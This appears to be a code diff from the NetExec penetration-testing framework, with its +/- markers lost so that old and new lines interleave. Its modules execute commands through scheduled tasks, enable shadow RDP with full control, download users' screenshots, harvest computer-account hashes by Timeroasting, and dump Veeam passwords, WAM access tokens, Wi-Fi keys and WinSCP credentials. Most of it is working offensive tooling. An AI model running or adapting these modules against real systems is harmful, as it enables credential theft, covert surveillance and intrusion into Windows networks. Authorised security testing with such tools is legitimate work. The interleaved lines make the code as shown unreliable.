dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
tmpName = gen_random_string(8) if self.task is None else self.task
# Give self.task a random string as name if not already specified
self.task = gen_random_string(8) if self.task is None else self.task
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
self.logger.info(f"Creating task \\{self.task}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if "ERROR_NONE_MAPPED" in str(e):
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
if e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Schtask_as: Create schedule task got blocked.")
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Create schedule task got blocked.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
self.logger.fail(f"User {self.user} does not exist in the domain.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_ALREADY_EXISTS" in str(e):
self.logger.fail(f"Create schedule task failed: {e}")
else:
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
self.logger.fail(f"Create schedule task failed: {e}")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
return
else:
taskCreated = True
self.logger.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
self.logger.info(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
if self.__retOutput:
if fileless:
+83
View File
@@ -0,0 +1,83 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
# Module by @Defte_
# Enables or disables shadow RDP
class NXCModule:
name = "shadowrdp"
description = "Enables or disables shadow RDP"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("ACTION must be either enable, disable or query")
exit(1)
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
keyHandle = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
)["phkResult"]
# Checks if the key already exists or not
try:
rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00"
)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
context.log.debug("here")
ans = rrp.hBaseRegCreateKey(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00")
# Disable remote UAC
if self.action == "disable":
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00",
rrp.REG_DWORD,
0
)
context.log.highlight("Shadow RDP disabled")
# Enable remote UAC
if self.action == "enable":
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00",
rrp.REG_DWORD,
2
)
context.log.highlight("Shadow RDP with full access enabled")
except Exception as e:
context.log.debug(f"Error {e}")
finally:
remoteOps.finish()
+134
View File
@@ -0,0 +1,134 @@
import ntpath
import os
from os.path import join, getsize, exists
from nxc.paths import NXC_PATH
class NXCModule:
name = "snipped"
description = "Downloads screenshots taken by the (new) Snipping Tool."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.excluded_files = ["desktop.ini"]
def options(self, context, module_options):
"""USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
self.context = context
self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = "C$"
output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
os.makedirs(output_base_dir, exist_ok=True)
context.log.info("Getting all user folders")
try:
user_folders = connection.conn.listPath(self.share, "\\Users\\*")
except Exception as e:
context.log.fail(f"Failed to list user folders: {e}")
return
context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
if not user_folders:
context.log.fail("No User folders found!")
return
else:
context.log.info("Attempting to download screenshots if they exist.")
total_files_downloaded = 0
host_output_path = None
for user_folder in user_folders:
folder_name = user_folder.get_longname()
if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
normalized_name = folder_name.lower()
if self.users and normalized_name not in self.users:
continue
context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
screenshots_folders = self.find_screenshots_folders(folder_name)
if not screenshots_folders:
context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
continue
for screenshot_path in screenshots_folders:
try:
screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
except Exception as e:
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
continue
if not screenshot_files:
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
continue
user_output_dir = join(output_base_dir, connection.host)
os.makedirs(user_output_dir, exist_ok=True)
host_output_path = user_output_dir
for file in screenshot_files:
if not file.is_directory():
remote_file_name = file.get_longname()
if remote_file_name.lower() in self.excluded_files:
context.log.debug(f"Excluding file {remote_file_name}.")
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
local_file_path = join(user_output_dir, local_file_name)
try:
with open(local_file_path, "wb") as local_file:
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
connection.conn.getFile(self.share, remote_file_path, local_file.write)
if not exists(local_file_path):
context.log.fail(f"Downloaded file '{local_file_path}' does not exist.")
continue
file_size = getsize(local_file_path)
if file_size == 0:
context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.")
os.remove(local_file_path)
else:
total_files_downloaded += 1
except Exception as e:
context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
if total_files_downloaded > 0 and host_output_path:
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
def find_screenshots_folders(self, user_folder_name):
"""
Dynamically searches for all Screenshots folders in the user's home directory.
Returns a list of paths.
"""
base_path = ntpath.normpath(join(r"Users", user_folder_name))
screenshots_folders = []
try:
subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
for subfolder in subfolders:
if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
try:
if self.connection.conn.listPath(self.share, potential_path + "\\*"):
screenshots_folders.append(potential_path)
except Exception:
continue
except Exception as e:
self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
return screenshots_folders
+13 -13
View File
@@ -3,10 +3,11 @@ import errno
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import time
from nxc.paths import TMP_PATH
from nxc.paths import NXC_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSTimeout
CHUNK_SIZE = 4096
@@ -116,18 +117,16 @@ class SMBSpiderPlus:
filelist = self.smb.conn.listPath(share, subfolder + "*")
except SessionError as e:
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".')
self.logger.debug(str(e))
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
if "STATUS_ACCESS_DENIED" in str(e):
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
self.logger.debug(f"The folder {subfolder} does not exist.")
elif self.reconnect():
filelist = self.list_path(share, subfolder)
except NetBIOSTimeout as e:
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
return filelist
def get_remote_file(self, share, path):
@@ -166,7 +165,7 @@ class SMBSpiderPlus:
def get_file_save_path(self, remote_file):
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system.
The folder path and filename are then obtained separately.
"""
@@ -213,9 +212,9 @@ class SMBSpiderPlus:
# Start the spider at the root of the share folder
self.results[share_name] = {}
self.spider_folder(share_name, "")
except SessionError as e:
except (SessionError, NetBIOSTimeout) as e:
self.logger.exception(e)
self.logger.fail("Got a session error while spidering.")
self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}")
self.reconnect()
except Exception as e:
@@ -286,8 +285,9 @@ class SMBSpiderPlus:
# Check file extension filter.
_, file_extension = splitext(file_path)
if file_extension:
file_extension = file_extension.lstrip(".")
self.stats["file_exts"].add(file_extension.lower())
if file_extension.lower() in self.exclude_exts:
if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]:
self.logger.info(f'The file "{file_path}" has an excluded extension.')
self.stats["num_files_filtered"] += 1
return
@@ -373,7 +373,7 @@ class SMBSpiderPlus:
def dump_folder_metadata(self, results):
"""Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`.
The results are formatted with indentation and sorted keys before being written to the file.
"""
metadata_path = join(self.output_folder, f"{self.host}.json")
@@ -485,7 +485,7 @@ class NXCModule:
EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk)
EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$)
MAX_FILE_SIZE Max file size to download (Default: 51200)
OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus)
OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus)
"""
self.download_flag = False
if any("DOWNLOAD" in key for key in module_options):
@@ -498,7 +498,7 @@ class NXCModule:
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus")))
def on_login(self, context, connection):
context.log.display("Started module spidering_plus with the following options:")
+4 -4
View File
@@ -42,12 +42,12 @@ class NXCModule:
multiple_hosts = False
def on_login(self, context, connection):
dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
context.log.display("Getting the Sites and Subnets from domain")
try:
list_sites = connection.ldapConnection.search(
list_sites = connection.ldap_connection.search(
searchBase=f"CN=Configuration,{dn}",
searchFilter="(objectClass=site)",
attributes=["distinguishedName", "name", "description"],
@@ -68,7 +68,7 @@ class NXCModule:
site_description = site["description"]
# Getting subnets of this site
list_subnets = connection.ldapConnection.search(
list_subnets = connection.ldap_connection.search(
searchBase=f"CN=Sites,CN=Configuration,{dn}",
searchFilter=f"(siteObject={site_dn})",
attributes=["distinguishedName", "name"],
@@ -86,7 +86,7 @@ class NXCModule:
if self.showservers:
# Getting machines in these subnets
list_servers = connection.ldapConnection.search(
list_servers = connection.ldap_connection.search(
searchBase=site_dn,
searchFilter="(objectClass=server)",
attributes=["cn"],
+112
View File
@@ -0,0 +1,112 @@
from binascii import hexlify, unhexlify
from select import select
from time import time
from socket import socket, AF_INET, SOCK_DGRAM
from struct import pack, unpack
def hashcat_format(rid, hashval, salt):
"""Encodes hash in Hashcat-compatible format (with username prefix)."""
return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}"
class NXCModule:
"""
Module by Disgame: @Disgame
Based on research from SecuraBV (@SecuraBV)
https://github.com/SecuraBV/Timeroast/
Much of this code was copied from the original implementation.
"""
name = "timeroast"
description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def __init__(self):
self.context = None
self.module_options = None
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
def options(self, context, module_options):
self.rids = range(1, 2**31)
self.rate = 180
self.timeout = 24
self.src_port = 0
self.old_hashes = False
self.target = None
if "rids" in module_options:
self.rids = module_options["rids"]
if "rate" in module_options:
self.rate = module_options["rate"]
if "timeout" in module_options:
self.timeout = module_options["timeout"]
if "src_port" in module_options:
self.src_port = module_options["src_port"]
if "old_hashes" in module_options:
self.old_hashes = module_options["old_hashes"]
def on_login(self, context, connection):
if self.target is None:
self.target = connection.host
context.log.display("Starting Timeroasting...")
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
context.log.highlight(hashcat_format(rid, md5hash, salt))
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
Rate is the number of queries per second to send.
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
issues.
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
"""
# Flag in key identifier that indicates whether the old or new password should be used.
keyflag = 2**31 if old_pwd else 0
# Bind UDP socket.
with socket(AF_INET, SOCK_DGRAM) as sock:
try:
sock.bind(("0.0.0.0", src_port))
except PermissionError:
context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.")
query_interval = 1 / rate
last_ok_time = time()
rids_received = set()
rid_iterator = iter(rids)
while time() < last_ok_time + giveup_time:
# Send out query for the next RID, if any.
query_rid = next(rid_iterator, None)
if query_rid is not None:
query = self.ntp_prefix + pack("<I", query_rid ^ keyflag) + b"\x00" * 16
sock.sendto(query, (dc_host, 123))
# Wait for either a response or time to send the next query.
ready, [], [] = select([sock], [], [], query_interval)
if ready:
reply = sock.recvfrom(120)[0]
# Extract RID, hash and "salt" if succesful.
if len(reply) == 68:
salt = reply[:48]
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
md5hash = reply[-16:]
# Filter out duplicates.
if answer_rid not in rids_received:
rids_received.add(answer_rid)
yield answer_rid, md5hash, salt
last_ok_time = time()
+2 -2
View File
@@ -71,12 +71,12 @@ class NXCModule:
Users can specify additional LDAP filters that are applied to the query.
"""
self.context = context
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
self.create_log_file(connection.target, datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
try:
sc = ldap.SimplePagedResultsControl()
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=self.search_filter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
+36 -13
View File
@@ -40,6 +40,9 @@ class NXCModule:
PostgresUserForWindowsAuth = ""
SqlDatabaseName = ""
# Salt for newer Veeam versions
salt = ""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
@@ -72,6 +75,8 @@ class NXCModule:
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
salt = self.get_salt(context, remoteOps, regHandle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Veeam v12 installation found")
@@ -107,28 +112,38 @@ class NXCModule:
# Check if we found an SQL Server of some kind
if SqlDatabase and SqlInstance and SqlServer:
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
self.printCreds(context, credentials)
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
self.printCreds(context, credentials)
def stripXmlOutput(self, context, output):
return output.split("CLIXML")[1].split("<Objs Version")[0]
def get_salt(self, context, remoteOps, regHandle):
try:
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Salt found")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
@@ -136,13 +151,13 @@ class NXCModule:
def printCreds(self, context, output):
# Format output if returned in some XML Format
if "CLIXML" in output:
output = self.stripXmlOutput(context, output)
output = output.split("CLIXML")[1].split("<Objs Version")[0]
if "Access denied" in output:
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
# Stripping whitespaces and newlines
output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
output_stripped = [line for line in output.replace("\r", "").split("\n") if line.strip()]
# Error handling
if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
@@ -152,12 +167,20 @@ class NXCModule:
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
try:
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
for account in output_stripped:
user, password = account.split(" ", 1)
password = password.replace("WHITESPACE_ERROR", " ")
context.log.highlight(f"{user}:{password}")
if " " in password:
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
# Remove multiple whitespaces
account = " ".join(account.split())
try:
user, password, description = account.split(" ", 2)
except ValueError:
user, password = account.split(" ", 1)
description = ""
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
context.log.highlight(f"{user:<40} {password:<40} {description}")
except ValueError:
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
context.log.fail("Please report this issue on GitHub!")
+4 -11
View File
@@ -1,6 +1,5 @@
import ntpath
import tempfile
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
@@ -13,6 +12,8 @@ from binascii import unhexlify
import codecs
import re
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
class NXCModule:
"""
@@ -51,7 +52,7 @@ class NXCModule:
self.connection = connection
self.share = self.connection.args.share
host = connection.hostname + "." + connection.domain
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -73,7 +74,7 @@ class NXCModule:
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
@@ -81,14 +82,6 @@ class NXCModule:
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_filesystem(dploot_conn)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
+68
View File
@@ -0,0 +1,68 @@
import re
import jwt
from dploot.triage.wam import WamTriage
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "wam"
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
def token_callback(token):
for attrib in token.attribs:
if attrib["Key"].decode() == "WTRes_Token":
# Extract every access token
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
try:
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage.triage_wam()
except Exception as e:
context.log.debug(f"Could not loot access tokens: {e}")
+1 -1
View File
@@ -54,7 +54,7 @@ class ConfigCheck:
self.reasons = []
def run(self):
for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs):
for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs, strict=True):
if checker is None:
checker = HostChecker.check_registry
+2 -2
View File
@@ -17,13 +17,13 @@ class NXCModule:
self.username = module_options["USER"]
def on_login(self, context, connection):
searchBase = connection.ldapConnection._baseDN
searchBase = connection.ldap_connection._baseDN
searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})"
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
# Get attributes of provided user
r = connection.ldapConnection.search(
r = connection.ldap_connection.search(
searchBase=searchBase,
searchFilter=searchFilter,
attributes=[
+11 -27
View File
@@ -1,9 +1,8 @@
from dploot.triage.masterkeys import MasterkeysTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.wifi import WifiTriage
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
class NXCModule:
@@ -17,44 +16,29 @@ class NXCModule:
""" """
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
domain=connection.domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=use_kcache,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = None
try:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
masterkeys = []
try:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
if len(masterkeys) == 0:
context.log.fail("No masterkeys looted")
+1 -2
View File
@@ -5,7 +5,6 @@
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
import traceback
from typing import Tuple
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
@@ -98,7 +97,7 @@ class NXCModule:
clearpass = clearpass[len(key):]
return clearpass
def dec_next_char(self, pass_bytes) -> "Tuple[int, bytes]":
def dec_next_char(self, pass_bytes) -> tuple[int, bytes]:
"""
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
+3
View File
@@ -173,6 +173,9 @@ def main():
for module in args.module:
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
exit(0)
elif args.show_module_options:
nxc_logger.error("--options requires -M/--module")
exit(1)
elif args.module:
# Check the modules for sanity before loading the protocol
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
+1 -1
View File
@@ -153,7 +153,7 @@ class DatabaseNavigator(cmd.Cmd):
if cred[4] == "hash":
usernames.append(cred[2])
passwords.append(cred[3])
output_list = [":".join(combination) for combination in zip(usernames, passwords)]
output_list = [":".join(combination) for combination in zip(usernames, passwords, strict=True)]
write_list(filename, output_list)
else:
print(f"[-] No such export option: {line[1]}")
+12 -3
View File
@@ -1,5 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
def parse_result_attributes(ldap_response):
parsed_response = []
for entry in ldap_response:
@@ -8,7 +9,15 @@ def parse_result_attributes(ldap_response):
continue
attribute_map = {}
